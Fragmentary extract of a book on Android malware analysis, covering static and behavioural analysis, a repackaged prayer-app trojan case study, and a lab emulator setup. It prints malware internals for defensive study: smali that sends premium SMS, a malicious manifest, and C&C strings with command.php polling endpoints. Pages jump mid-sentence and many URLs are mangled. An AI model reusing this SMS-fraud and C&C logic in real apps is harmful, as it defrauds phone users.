category.HOME”/><action android:name=“android.intent.
action.BOOT_COMPLETED”/><action android:name=“android.
intent.action.USER_PRESENT”/></intent-filter></
receiver>
Strings
The use of the .txt extension is not necessary within Linux but is help-
ful if such a file is transferred to a Windows environment requiring
an extension to associate it with an application such as notepad.exe.
Once strings are extracted from classes.dex they can be ana-
lyzed or searched using tools like grep (Linux), notepad, or gedit.
Searching for common strings can also be automated, such as look-
ing for http://, ftp://, .com, SMS, or similar strings. Tools like grep
are powerful to quickly extract any possible URLs or other data that
may exist within the code. Searching for strings within context, such
as using gedit to find instances of “SMS” and then walking through
the code with each such instance, can help establish program flow
and context to other strings. In the following screenshot, strings are
analyzed within gedit to look for instances of SMS revealing SMS
actions of interest.
APK and DEX files can be used to create a JAR file by using tools like
Dex2Jar (http://code.google.com/p/dex2jar/). This enables an ana-
lyst to then use JAVA tools like JD-GUI (http://code.google.com/p/
innlab/downloads/detail?name=jd-gui-0.3.3.windows.zip&can=
2&q=) to analyze the source code of an app of interest. This conver-
sion is reasonably close to the original DEX form but may contain
small differences that can make a difference regarding analysis in lim-
ited instances.
sh d2j-dex2jar.sh bad.apk
VisualThreat Modeling
Automation
download is made and then compared to the APK harvested from the
phone to see if they are the same or different. The analyst knows that
many Android threats are often legitimate apps repacked to contain
an extra class file or more for malicious functionality. As a result the
analyst is baselining the app download against the app taken off the
phone to see if they are of the same code base or if the one on the
device may have extra functionality within the code.
Basic file details are then collected on the sample in question from the
phone and the Linux FILE command is run to confirm it is an APK:
Created: Saturday, December 24, 2011, 8:21:51 AM
Modified: Saturday, December 10, 2011, 11:30:06 AM
Accessed: Saturday, December 24, 2011, 8:21:51 AM
Size: 113 KB
MD5: e7584031896cb9485d487c355ba5e545
SHA1: ce01950e9b1f6db2653f47728b8dfcf261cc81f4
SHA256: 1d22924bbe5dce7696e18d880482b63ce19ca0746f8671aaec865cce143f6e6f
Fuzzy: 3072:serWeAQjVS+CpqIN0OOB7Fhy+Pdi6dEw71:seKJICptN5QM+PD2w71
A search is done for the hash values related to the APK with a hit on
a VirusTotal page that appears to be related. Further inspection reveals
that a scan of that exact MD5 was performed on VirusTotal with very
little detection by antivirus engines to date. The threat appears to be
fairly recent within the past month and not well detected by antivirus
software at the time of research. VirusTotal lists several permissions
that indicate what may be found in the Manifest file and app:
The studied DEX file makes use of API reflection
Permissions that allow the application to manipulate SMS
Permissions that allow the application to perform calls
Permissions that allow the application to manipulate your location
Permissions that allow the application to perform payments
Permissions that allow the application to access Internet
Permissions that allow the application to access private information
Other permissions that could be considered as dangerous in cer-
tain scenarios
Several HTTP links are also found on the VirusTotal Web site for
this threat:
http://www.dhofaralaezz.com/vb/showthread.php?t=4453
S tati c A n a lysis 65
http://www.i7sastok.com/vb/showthread.php?t=6930
http://www.dmahgareb.com/vb/showthread.php?p=6606
http://mafia.clubme.net/t2139-topic
http://www.4pal.net/vb/showthread.php?t=40752
http://www.howwari.com/vb/showthread.php?t=28495
http://forum.te3p.com/464619.html
http://www.htoof.com/vb/t187394.html
http://vb.roooo3.com/showthread.php?t=174074
http://www.alsa7ab.com/vb/showthread.php?t=4746
http://www.riyadhmoon.com/vb/showthread.php?p=4548287
http://forum.althuibi.com/showthread.php?p=137646
http://www.2wx2.com/vb/showthread.php?p=43548
http://w w w.mdmak.com /vb/show post.php?p=50 0795&
postcount=1
http://www.too-8.com/vb/showthread.php?s=&threadid=7058
http://www.3z1z.com/vb/showthread.php?t=2910
ht t p: //w w w.w32 w.com /v b/show p ost.php? p =50 6831&
postcount=1
http://forum.65man.com/65man33611.html
http://www.alwasatnews.com/data/2011/3382/BICIreportAR.
pdf
http://alsalah.sileria.com/lookup?place=
http://alsalah.sileria.com/lookup?tz=
The researcher uses a safe Linux lab computer to check out the
Web site links and quickly finds a pattern of self-immolation pages
linked to Mohamed Bouazizi, a Tunisian martyr that sparked an
Arab Spring movement just prior to this incident. One of the links
matches what was found in the Web history on the device in ques-
tion. The analyst now suspects that the Alsalah app may contain some
sort of promotion of the martyr but did not remember reading that in
the description for the app. The analyst then checks out the PDF that
was captured from the device, off the SD card, and sees that it is a
paper about human rights, which fits the theme of the links reviewed.
Nothing obvious related to possible exploitation or maliciousness
exists within initial analysis of the PDF file.
The analyst needs to break for lunch so he uploads the suspect APK
to several freeware dynamic analysis sandbox Web sites to see what is
66 A n d r o id M a lwa re a n d A n a lysis
generated through such an analysis over his lunch hour. Upon return-
ing from lunch, he finds that the primary package name of interest in
the APK is com.sileria.alsalah. Permissions are extensive as seen in
former open source intelligence for the sample of interest. The analyst
is wondering if this is a poorly coded app that requires a lot more
permissions than what a simple prayer reminder app should require or
if it is a Trojaned app. He discovers that there is a service associated
with the app, com.awake.alArabiyyah, and that it looks like it may
hook boot to run upon startup of the device. Some sandbox results
suggest it may have a SQLite database component and may download
files to the SD card. The analyst is thinking that perhaps the PDF
found on the SD card is what is downloaded by the app.
The researcher is wondering what certificate details may reveal,
trying to get to the bottom of what the legitimate app might be doing
with all those permissions. He uses the Keytool method to extract the
details of the certificate from the RSA file found within unpacked file
archives for the app. He makes note of a few key findings, but they do
not appear to be very helpful:
Owner: [email protected]
CN=Android
L=Mountain View, ST=California, C=US
Serial number: 936eacbe07f201df
Valid from: Thu Feb 28 20:33:46 EST 2008 until: Mon Jul 16
21:33:46 EDT 2035
The researcher now wonders if the class name is related to a pos-
sible company name, remembering something along those lines from
the original marketplace app description. He queries the Internet for
Sileria Android and locates sileria.com, which appears to be a legiti-
mate commercially developed Web site related to the entertainment
industry including mobile. An AlSalah Android app exists on the
Web site, and is downloaded to compare against what was captured
off of the device.
A comparison of the seemingly legitimate app and the questionable
one from the device reveals the following:
Different MD5/SHA* hashes
The APK in question has an extra package called “awake”
S tati c A n a lysis 67
The analyst has not done much beyond strings and content analysis.
The advertised functionality of the app is found in the sample. However,
an extra package called “awake” exists, resulting in the analyst suspect-
ing it is likely a repackaged app with malware added to the program.
Awake sounds like something related to a sleep function for a Trojan so
he is now wondering if the executive installed something while travel-
ing that later popped up due to a sleep function or how that may impact
the investigation. Awake is now the focus of deeper content investiga-
tion, containing two classes: alArabiyyah.class and arRabi.class.
File Name: alArabiyyah.class
Type: compiled Java class data, version 50.0 (Java 1.6)
Size: 4111
Md5sum: 88e0e9947798ad9cfb4c4ae5c325c791
Sha1: fb871ca5e477d533ee0bcd9bc52ca80ba2d3616f
Sha256: 6e9a02b198f0573cffc86369ab53ac5778d88f8c42dd1fc66e49ad36a18e676c
Fuzzy: 96:Xhh7NPbd1loZ/N/Dcw4m7G15qoH2q2DP6We0CcybLSxz9n:tNo9N/Y8E5qjDP3/xt
File Name: arRabi.class
Type: compiled Java class data, version 50.0 (Java 1.6)
Size: 648
Md5sum: 442c142087d68396bc27fa6ae58b4153
Sha1: 604513a68ef76c7f6da49b705941c67b76eaf941
Sha256: c7cdf7c3ba205d9dd06c8fba977afc1d6d8edca521746f044de1b20b2fdc51d1
Fuzzy: 12:vElEI4MYSrIjuIT1aAGeFTzihI7mM30jS7Me/76lzMdgv1LBhIja9BIjrpuBhIAI:vEP4MYb
XhPxd7YjSr/7pGf6OcffVAjfQ
with the executive his findings. The analyst recommends the phone
be wiped and restored to ensure that any unknown possible down-
loads are not on the device following a manual removal of the known
threat. The analyst finalizes his notes before finishing the response
and hopes to find time in the next few days to look closer at the per-
missions and what else the app may be doing.
5
A ndroid Malware Evolution
71
72 A n d r o id M a lwa re a n d A n a lysis
.line 35
invoke-static {}, Landroid/telephony/SmsManager;-
>getDefault()Landroid/telephony/SmsManager;
move-result-object v0
.line 54
.local v0, “m”:Landroid/telephony/SmsManager;
const-string v1, “3353”
.line 55
.local v1, “destination”:Ljava/lang/String;
const-string v3, “798657”
.line 57
.local v3, “text”:Ljava/lang/String;
const/4 v2, 0x0
const/4 v4, 0x0
const/4 v5, 0x0
:try_start_2a
invoke-virtual/range {v0.. v5}, Landroid/telephony/
SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/
lang/String;Ljava/lang/String;Landroid/app/
PendingIntent;Landroi\
d/app/PendingIntent;)V
:try_end_2d
.catch Ljava/lang/Exception; {:try_start_2a..
:try_end_2d} :catch_44
This code essentially will just take the SmsManager object and use it
to send a text message to the 3353 number with a body of 798657. The
rest of the registers are loaded with 0x0, which is interpreted as null in
this case, and not actually required for the sendTextMessage method.
Immediately before this, a TextView is set to read “Подождите,
A n d r o id M a lwa re E v o lu ti o n 73
name, icon to use, and other resources, while the code remains the
same. This is easily seen next:
When inspecting the actual ZIP files we see that one of the only
differences is when the files have been last touched (see Image 5.1).
This is one of the tactics that led to the mischaracterizing of
malware in the wild. Although those three samples have different
SHA1s, the internal code is identical as shown by the second SHA1.
If we rely solely on unique containers and do not even bother inspect-
ing the code, it is easy to incorrectly assert variants and how the code
has evolved.
Another interesting trend that has grown in the Russian malware
space is custom obfuscation. Although commercial obfuscators exist
and are sometimes employed, the FakeInstaller organizations often
employ their own obfuscation tools; AlphaSMS is no exception. This
tactic can fool the classification tools, analysts, and detection tech-
niques. An excerpt from an AlphaSMS highlights this (Image 5.2).
This code shows the use of reflection combined with encoding the
strings. This pattern continues across the variants of AlphaSMS,
slightly morphing the encoding used for the strings of each variant
while keeping the underlying code the same. Upon a closer investi-
gation of the AlphaSMS family, there was an even more interesting
trend when looking at a massive amount of detection data.
Here, we can see the average number of detections over time of
the Russian family AlphaSMS (see Image 5.3). Each different color
is a different variant of the malware, distinguished by difference in
the code, while taking into consideration obfuscation. What this
immediately shows us is the level of sophistication in distributing and
iterating on the malware. It models much like an agile coding shop.
There appears to be a new “release” of the malware approximately
every week and a half, meaning the operation would push a new code-
base on a schedule while halting the distribution of the older versions.
76 A n d r o id M a lwa re a n d A n a lysis
1,800
1,700
1,600
1,500
1,400
1,300
1,200
1,100
1,000
Total Events
900
800
700
600
500
400
300
200
100
0
Jun 1, 12 Jul 1, 12 Aug 1, 12 Sep 1, 12 Oct 1, 12 Nov 1, 12 Dec 1, 12 Jan 1, 13 Feb 1, 13 Mar 1, 13 Apr 1, 13 May 1, 13
Date Encountered
77
78 A n d r o id M a lwa re a n d A n a lysis
android:name=“android.permission.SEND_SMS”
>
</uses-permission>
<uses-permission
android:name=“android.permission.WRITE_SMS”
>
</uses-permission>
<uses-permission
android:name=“android.permission.RECEIVE_SMS”
>
</uses-permission>
<uses-permission
android:name=“android.permission.RAISED_THREAD_
PRIORITY”
>
</uses-permission>
<uses-permission
android:name=“android.permission.READ_CONTACTS”
>
</uses-permission>
<uses-permission
android:name=“android.permission.WRITE_EXTERNAL_
STORAGE”
>
</uses-permission>
<uses-permission
android:name=“android.permission.RECEIVE_BOOT_
COMPLETED”
>
</uses-permission>
<uses-permission
android:name=“android.permission.WAKE_LOCK”
>
</uses-permission>
<application
android:theme=“@android:01030055”
android:label=“@7F040000”
android:icon=“@7F020001”
android:debuggable=“true”
>
<activity
android:label=“@7F040003”
android:name=“.Main”
android:launchMode=“3”
>
80 A n d r o id M a lwa re a n d A n a lysis
<intent-filter
>
<action
android:name=“android.intent.action.MAIN”
>
</action>
<category
android:name=“android.intent.category.
LAUNCHER”
>
</category>
</intent-filter>
</activity>
<service
android:label=“My Service”
android:name=“.TestService”
android:enabled=“true”
>
</service>
<receiver
android:name=“MyReceiver”
>
<intent-filter
android:priority=“100”
>
<action
android:name=“android.provider.Telephony.
SMS_RECEIVED”
>
</action>
</intent-filter>
</receiver>
<receiver
android:name=“.BootUpReceiver”
android:enabled=“true”
>
<intent-filter
>
<action
android:name=“android.intent.action.BOOT_
COMPLETED”
>
</action>
</intent-filter>
</receiver>
Android Malware Trends and Reversing Tactics 81
</application>
</manifest>
com/example/smsmessaging/MyReceiver.smali: const-
string v7, “android.provider.Telephony.SMS_RECEIVED”
com/example/smsmessaging/MyReceiver.smali: const-
string v7, “pdus”
com/example/smsmessaging/TestService$1$1.smali: const-
string v4, “Exception : “
com/example/smsmessaging/TestService$doBackGround.
smali: const-string v1, “Executed”
com/example/smsmessaging/TestService.smali: const-
string v0, “http://l0rdzs0ldierz.com/”
com/example/smsmessaging/TestService.smali: const-
string v0, “”
com/example/smsmessaging/TestService.smali: const-
string v8, “”
com/example/smsmessaging/TestService.smali: const-
string v8, “”
com/example/smsmessaging/TestService.smali: const-
string v8, “”
com/example/smsmessaging/TestService.smali: const-
string v8, “Not an HTTP connection”
com/example/smsmessaging/TestService.smali: const-
string v7, “GET”
com/example/smsmessaging/TestService.smali: const-
string v8, “Error connecting”
com/example/smsmessaging/TestService.smali: const-
string v5, “Blowfish/ECB/NoPadding”
com/example/smsmessaging/TestService.smali: const-
string v5, “Blowfish”
com/example/smsmessaging/TestService.smali: const-
string v10, “command.php?action=recv”
com/example/smsmessaging/TestService.smali: const-
string v11, “conencting to “
com/example/smsmessaging/TestService.smali: const-
string v1, “\n”
com/example/smsmessaging/TestService.smali: const-
string v11, “added to array “
com/example/smsmessaging/TestService.smali: const-
string v11, “ at position=“
com/example/smsmessaging/TestService.smali: const-
string v11, “saved message=“
com/example/smsmessaging/TestService.smali: const-
string v0, “Service Created”
com/example/smsmessaging/TestService.smali: const-
string v2, “myService”
Android Malware Trends and Reversing Tactics 83
com/example/smsmessaging/TestService.smali: const-
string v3, “onStartCommand”
com/example/smsmessaging/TestService.smali: const-
string v2, “Service Created onStartCommand”
com/example/smsmessaging/TestService.smali: const-
string v2, “command.php?action=sent&number=“
com/example/smsmessaging/Utilities.smali: const-string
v2, “notfound”
com/example/smsmessaging/Utilities.smali: const-string
v2, “/”
com/example/smsmessaging/Utilities.smali: const-string
v2, “duplicate.apk”
com/example/smsmessaging/Utilities.smali: const-string
v10, “android.intent.action.VIEW”
com/example/smsmessaging/Utilities.smali: const-string
v11, “application/vnd.android.package-archive”
com/example/smsmessaging/Utilities.smali: const-string
v1, “com.example.smsmessaging”
com/example/smsmessaging/Utilities.smali: const-string
v2, “com.example.smsmessaging.Main”
Much like the manifest, this can give us hints as to what is going
on and good indications of what might be interesting for us to look
into. Immediately we see a command and control domain, some debug
statements, and what appear to be intents and mime types. Next let’s
step into the main activity.
We can easily see from this IDA layout that the onCreate method
does very little. It calls the super activity’s onCreate, three Utilities
class functions, and then starts the TestService service. If we dive into
Utilities.iconRemoval we see the following common tactic:
The preceding code when reversed will look something like this:
tactic, which was explained using a Zitmo sample around the time the
technique emerged (Android Zitmo Analysis).
If we return to the Main activity and stepped into the InstallApk
function, we actually see what the malware author is attempting to
social engineer with. They are loading the APK asset, which was
embedded in the assets folder. After checking if this application was
already installed it would launch an android.intent.action.VIEW intent
with the application/vnd.android.package-archive mime type and the
location of the extracted APK asset. This will be caught by the default
package manager and prompt the user to install the APK. After this
function completes, we see that the only thing left for this entry point
is to kick off the TestService. So the main breakdown is remove the
malware icon, prompt the user to install GTA3 (supposedly what they
were enticed to download and install this application for), and start
the TestService. Diving into TestService is our next step.
action. The important thing we see here is that a Timer is being set to go
off every 0xFDE8 milliseconds (65 seconds), which is being passed a new
Handler and Timer object and which we will find inside the TestService$1_
structure (this is due to how the inner classes are disassembled).
As we can see, when the Timer object runs, a post will occur to the
TestService$1$1 class.
observed when the server was live, it was to random U.S. numbers
with links to a Target gift card scam or to download more “games,”
which were actually this piece of malware. After sending a text mes-
sage, the thread would sleep for 1.5 seconds and continue executing
until all the numbers were gone.
We have now covered the main functionality of this piece of mal-
ware. There is the delivery of the promised game, prompting to install
GTA3, followed by the removal from the launcher icon. This is the
means of maintaining the infection on the user’s device, as most users
will not realize this is still installed. The background services will then
set an alarm to start every 65 seconds. At this interval, the malware
will contact the C&C server requesting both numbers and messages
to spam, looping through each work item every 1.5 seconds. This is an
interesting summary of the overall malware, but what if you need to
implement detections for this type of threat on a network?
The network traffic patterns would be easy to identify. Simply put,
you will be looking for the default Android Java user agent along with
the patterns used:
command.php?action=recv
command.php?action=sent&number=
91
92 A n d r o id M a lwa re a n d A n a lysis
• The latest SDK platform tools. These are the tools that allow
you to interact with Android allowing such operations as
installation of applications, debugging, and system tracing.
These are also the tools Eclipse uses in the DDMS perspec-
tive, more on that later.
• Emulator systems the image or images that you want to support.
The SDK platform is the actual operating system for that version. Two
different actual platforms are suggested: (1) to rule out any specific
Beh av i o r a l A n a lysis 95
nuances of that release especially if you have chosen the latest one; and
(2) a slightly older version may have a larger install base allowing you to
more accurately assess the threat. To help in determining which plat-
forms to choose, Google keeps track of the install base for you: https://
developer.android.com/about/dashboards/index.html. Here you can
make a better assessment of which platforms to load. Some other things
to consider when choosing a platform: is each platform is larger than its
predecessor, which means more system resources and longer load times.
Processor Emulation
Choosing a Processor
Starting with about release 10 of the API (aka Gingerbread) the SDK
offered support for two different processor types for the emulator.
• ARM EABI v7a System Image—ARM Processor emulation
• Intel x86 Atom System Image—Intel Processor
The reason there are two processor types is because one is for speed
and one is for compatibility. The ARM emulation can be very slow,
however, it more accurately emulates a real device. The Intel image
only works if you have an Intel processor and is more of an extension
on that processor’s instruction set to the emulator. Because there is
less translation taking place, you are making it significantly faster
than the ARM emulator. To use this processor extension requires a
utility called HAXM to be installed.
Using HAXM
• You will have to choose how much memory from your system
to take. You will have to make this larger than the mem-
ory you configure for your Android Virtual Devices so it fits
within that space.
• You can rerun this utility at any time to reset the amount of
allocated memory.
• It does not support the Google APIs for things like Maps;
this is a limited set.
• Only supports APIs 10 and 15 to 19.
• Note: If you are going to be running your emulator in a vir-
tual machine, HAXM will not work.
Once you have selected a release and any other items you wish to
install, click the install packages button to complete the process and
start the installation. Follow the prompts to accept the Terms of
Service to complete the update. After the update is complete, it is time
to create your emulated devices, also known as the Android Virtual
Devices or AVDs.
When you create an AVD several files are stored on your system. By
default, the android tool creates the AVD directory called .android
and can be found in the following locations depending on your host
operating system.
• Linux/Mac: ~./android/avd
• Windows XP: C:\Documents and Settings\<user>\.android\
• Windows 7 and Vista: C:\Users\<user>\.android\
If you wish to store the AVDs and its files elsewhere you can add an
environment variable called ANDROID_HOME and set it to the
10 0 A n d r o id M a lwa re a n d A n a lysis
new locations. A variety of files will be found here including the AVD
configuration files, user data image, the SD card image, and any other
relevant files.
The emulator uses three types of files to run: default image files,
runtime image files, and temporary image files. Following is a descrip-
tion of each file type.
When the emulator launches but does not find an existing user data
image in the active AVD’s storage area, it creates a new one from
the platform image downloaded from the SDK. These image files
will be located in your SDK installation location under \sdk\system-
images and copied to the AVDs running directory as userdata.img.
This image is read only and used only when creating a new runtime
environment or when “wipe user data” is selected during launch.
At runtime, the emulator works with two disk images for reading
and writing to. These are the user-data image and an SD card image.
These images simulate the partitions of a real running device.
userdata-qemu.img—An image file the emulator uses to write
runtime user-data for a unique user.
sdcard.img—If configured this is an image file acting as an SD
card for the device.
As stated earlier, the emulator uses these writeable user-data images to
store user and session data. This data will remain persistent until the
AVD is started with the “wipe user data” option selected. Otherwise this
image will store installed applications, data, settings, databases, and files.
Temporary Images
If during the runtime, you are reviewing the directory where the
AVDs run from you will see several directories with the .lock exten-
sion. These are the temporary holding places for the runtime environ-
ment. These will be deleted at power off.
Beh av i o r a l A n a lysis 101
Once you have your AVDs configured you can start them. A running
emulator behaves just like any other application on your system and
can be closed or minimized.
Internet 10.0.2.15
192.168.1.10
In the developer setup the emulator acts like any other application
on the machine and can access the Internet and perform basic opera-
tions. There are no methods of containment, sniffing, or analysis in
place. Next we will talk about extending this setup to a lab environ-
ment where containment, sniffing, and analysis for malicious activity
can take place.
To run the emulator in a lab setting we need at least two machines. The
first machine is the host operating system that will run the emulator.
The second machine will be upstream of the first machine and will
sniff traffic as well as provide basic services to the first. Additionally,
other servers can be added to the upstream network to support what
the sample is looking for. These machines can be physical or virtual
depending on what resources you have available.
When running the emulator the device(s), use the underlying net-
work infrastructure to route and communicate to the Internet. This
means by placing packet capture software upstream of the emula-
tor all communications to and from the device can be monitored. In
the following diagram we show a couple different workstation setups
with an emulator participating in the 172.16.x network and its default
gateway set to another machine with packet capturing software. In
the controlled lab environment, the traffic can be easily filtered and
applied to the emulator and any applications running on it.
The loopback address is exposed to the host machine and can be used
with port redirection. Also note, if you wish to access services running
Beh av i o r a l A n a lysis 10 3
Internet
Internet
192.168.1.x
192.168.1.x
10.0.2.15
10.0.2.15
VM VM
Physical with 2 Interfaces 172.16.255.x
172.16.225.x 172.16.225.x
172.16.255.x
With Proxy Installed
With Proxy Installed
Clients can then connect to this port and the router directs traffic to
and from that port to the emulated device’s host port.
Using the emulator console is the same method just a different com-
mand. Instead of use forward as a command you use redir command
to set up redirection. To do this, telnet in to the instance of the emula-
tor you wish to set up redirection for.
10 4 A n d r o id M a lwa re a n d A n a lysis
This sets the mapping between your own machine and the emulated
system.
Note there are a couple of restrictions on use forwarders and redi-
rects. You cannot use port numbers under 1024, aka as the well-
known ports. Additionally, you will not be able to set up forwarding
or redirection on ports that are already in use.
After the network is configured there are several applications for both
the downstream machine and within the emulator itself. The follow-
ing is a list of those applications and their purpose.
On the emulator
• AVS Logical—This is a forensic software package loaded
on the device that captures phone calls and SMS com-
munication logs.
• App Backup & Restore
On the upstream machine
• FakeDNS—Used to direct all DNS requests to a single
host.
• FakeHTTP—Used as a generic Web server to host files.
• Proxy Server—Used to obscure your actual location.
• Wireshark—Used to capture all the netflow traffic pass-
ing through the machine.
Capabilities
• All outbound TCP and UDP connections/messages
should be able to be supported by the emulator.
• All port numbers or ranges are available unless already in use.
• Simulate telephone calls between two emulated devices.
• Simulate SMS messaging between two emulated devices.
• Modifying networking–port redirection, DNS, and proxy
settings.
Limitations
• Communications may be blocked by a firewall or any
other restrictions downstream from where the emulator
is running.
• Cannot make phone calls or send real SMS messages.
• No access to Google services, Gmail, Google Play Store,
and other Google centric applications. (These applications
are normally not part of the platform image downloaded
from Google. However, in many cases, these applications
can be exported from working devices on the same platform
and installed to the emulator like any other application.)
• No multitouch support or gestures.
• No accessory support.
settings and tools will be there. Additionally, the time to boot and
interact with the emulator is substantially quicker.
The next way to preserve the settings is to run the emulator within
a virtual machine, such as VMWare or Virtual Box. Next configure
the emulator to support your analysis and then save a snapshot with
the virtual machine software. This will ensure that each time you
revert to the snapshot the emulator is reverted as well.
An alternative way to support preservation is to overwrite your
default image file with your updated image. As shown earlier the
emulator uses the file userdata.img to create the default environment
you see when starting up for the first time. Once running, the system
creates another file called userdata-qemu.img to hold user configura-
tion and information. Install your applications and make your con-
figuration changes and close the emulator. This data will be preserved
in the userdata-gemu.img. Take this file and overwrite the userdata.img
file with this. To take advantage of this, when you start the emulator,
select the “wipe user data” option. This will open the updated userdata.
img and replace the userdata-qemu.img file with this data. Using this
method can be helpful backup in the event that the emulator snapshot
becomes corrupt or unusable.
Almost any Android device can be used for testing; it just takes a few
more steps to get it configured. But before getting into the configura-
tion of the device one note about procuring a physical device. Android
devices having off-brand names and cheap prices are not usually the
best choice for testing. Namely, they use inferior hardware and have
limited support. Additionally, they may have a modified version of
Android that can produce unexpected behaviors during testing. That
being said, once you have your device the first thing to do is determine
what version of Android you have. To do this, find and click Settings
and scroll down to the bottom to find the About tablet and select it.
There you will find an entry for your Android version. Depending on
what version you have you will have to go through a couple steps to
get this configured.
If you are running Android prior to version 4 do the following:
Beh av i o r a l A n a lysis 10 7
• Go back one level to the settings list and you will see {}
Developer Options now available.
10 8 A n d r o id M a lwa re a n d A n a lysis
Capabilities
• Make real phone calls and real SMS messages.
• Multitouch screen support.
• Use of actual location data.
• Advanced sensors, examples include gyroscope, compass,
and headphone jack.
Limitations
• Certain core services of the device might be locked down
or made inaccessible by the manufacturer.
• Testing the device could break it or worse case brick the
device, making it unusable.
If you choose to use a physical device for testing versus the emulator
only slight modification of the infrastructure is required. Only one
machine will need to be downstream to sniff traffic as well as pro-
vide basic services to the first. This machine can be physical or virtual
depending on what resources you have available. The added elements
include a wireless access point and a physical device. The device can
be any Android device you choose. If the device is one with a cellular
plan attached to it, not recommended, you will need to configure it to
only use the wireless access point.
In the following diagram, we have a virtual machine acting as a
router participating in the 192.168.x network and the 172.16.x network.
Downstream of this is a wireless access point that routes all of its traf-
fic to this machine. The traffic can then be easily captured and filtered.
110 A n d r o id M a lwa re a n d A n a lysis
Internet
192.168.1.x
VM
172.16.225.x
With Proxy Installed
USB
Connected
Lab Machine
Once the device is up, Eclipse will automatically see it and open
access to the monitoring tools under the DDMS perspective; but first
you have to get something on the device to monitor. To get a sample
into your environment for testing can be done in one of two ways.
The first way is to stage the APK downstream using Web services
such as FakeHTTP. Then using the integrated browser, navigate to
that site and download the APK. In this method you will have to
turn on the setting “Unknown sources” to allow installation of non-
market applications. This setting can be found under Application set-
tings in older devices and under Security in newer devices. This will
place downloads where you can perform an installation of the sample.
Performing installations provides no distinctive advantage other than
the emulator will read the manifest and display the requested rights
for you to accept.
The second way is to use the ADB. The ADB (Android Debug
Bridge) is located under the platform-tools directory under your
SDK installation. The ADB is very versatile, providing a number
of commands to interact with your device. The command to install
an APK is “adb install <path to APK file>”. After a few seconds if
there are no problems the installation will be complete, the com-
mand prompt will be returned to you, and a new icon will show up
on your device. You are now ready to run, monitor, and capture data
from an emulated device.
112 A n d r o id M a lwa re a n d A n a lysis
Applications and their data files are usually stored in one of two loca-
tions, internal and external storage. Installing applications to the SD
card can be controlled with the “-s” in the ADB install command.
Otherwise when an application is installed it will be placed in the
/data/app/directory named after the application’s package name. In
the meantime, another set of directories is created under/data/data for
the application to store its data. By way of example, if you install an
application called util with the package name com.android.utility the
APK will be com.android.utility.util-1.apk and its data will be stored
in/data/data/com.android.utility.util directory. What is stored there
can vary from application to application but files and databases are
usually the most noteworthy for analysis. The following are the most
common subdirectories you will find under the application.
• lib—Static libraries used by the application
• cache—File cache to speed up performance
• files—Custom data storage
• databases—SQLite databases
If you locate a files directory it usually means the application required a
more complex data structure and would be a good place to mine for data.
By default this directory and its files are available to you in the emulator
where you can see them. However, on a physical device the /data/data/
directory, which this is a part of, is locked unless you have root access.
If that is the case, you will need to access and copy the files through the
ADB pull process.
Much like putting samples on the device there are two ways to get sam-
ples off the device. The first way is with application backup software.
App Backup from the play store is an excellent resource to do this.
When executed it polls the applications on the device and backs it up to
an SD card. You can then retrieve them with the ADB pull command
or if it is removable media take it out and mount on another system.
The second way is to use the ADB to connect and pull the appli-
cation off. To do this you will need the location of the APK file.
Beh av i o r a l A n a lysis 113
Applications are typically located in one of two places. The first place
is the system/app directory. This directory contains the APK files that
came with the system or are part of the system installation; how-
ever, other install packages can put their APK file here as well during
installation. The second location is “data/app” and is the more com-
mon location for installed APK files to reside. To pull files to your
machine you will need to enter the following command:
adb pull full path to the file/<filename.apk>
Devices View
The Devices view displays a navigation tree that includes running emu-
lators and any attached phones or tablets. In the following screenshot,
114 A n d r o id M a lwa re a n d A n a lysis
the processes running on each emulated device are visible (look for the
phone icon to the left of each). Physical device processes will be seen
if the application has been debug enabled or it is running a modified
rom. In the example three device types are shown: KitKat showing all
processes, a Nexus 7 running that is rooted but running manufacturer
rom, and an HTC Iris running Gingerbread with a modified ROM.
The Devices toolbar offers many options to the developer for ana-
lyzing applications. The layout of the toolbar and a brief description
of each tool contained within follows. Out of these tools the Method
Beh av i o r a l A n a lysis 115
Profiling and Screen Capture will be the most useful for the analysis
of malicious code. It is helpful, however, to know what other tools are
used, in the event you might have cause to use them.
Network Statistics
The Network Statistics tab allows you to gather network transmit and
receive statistics of a running application. Select the application you
wish to gather statistics on from the Devices view, select Start, and
then Stop when finished.
File Explorer
One item to note is that the view of the file system will be based
on the connected device. If you are working with the emulator it will
show you the contents on the data\data directory, which is the com-
mon location of applications and their supporting files. This is not the
Beh av i o r a l A n a lysis 117
case with the physical device unless it is rooted and had a modified
ROM installed.
Emulator Control
System Information
The System Information tool simply tells you the status of the device.
LogCat View
Application Tracing
Now that you have been introduced to most of the tools, let’s put
together an example to show you how all of them come together for a
complete analysis. We are going to look at a very simple application to
test systems for DOS attacks. The application called AnDOSid can
be found at https://github.com/Scott-Herbert/AnDOSid.
• Using the ADB tool we install the application into our test
environment as described earlier.
• Next we start a packet capture from our upstream machine to
capture any network traffic.
• Next from our lab machine we execute the application so it
shows up as a running process under our device in Eclipse.
• Next we select the running process and click the Start
Method Profiling button to trace the object and method calls
of the application.
• Next we capture a screenshot. As seen in the following screen-
shot we have set up a target and left the other settings at their
defaults (Image 7.18).
• Next we select the Network Statistics tab on the left side of
the screen and select Start.
• Next we exercise the application by pressing Go, in this case,
for a period of time before selecting Stop.
• Last, we stop all of our captures to begin the analysis of results.
Analysis of Results
• Starting with the Network Statistics you can easily see there
was network traffic, additionally you can see the frequency
interval of the traffic.
Beh av i o r a l A n a lysis 119
• Moving to the method profiling results, you can see the order
in which the application called objects and methods.
Nexus 7—KitKat
• Settings
• Backup & Reset
• Factory data reset
• Reset tablet
• Erase everything
To begin you will need to open the application to expose its core
components. To do this use the apktool with the “d” option to decode
the application.
apktool d <name-of-the-app>.apk
Next save the file and rerun the apktool this time with the “b” option
to rebuild it with your patch in place.
apktool b <name-of-the-app-folder>
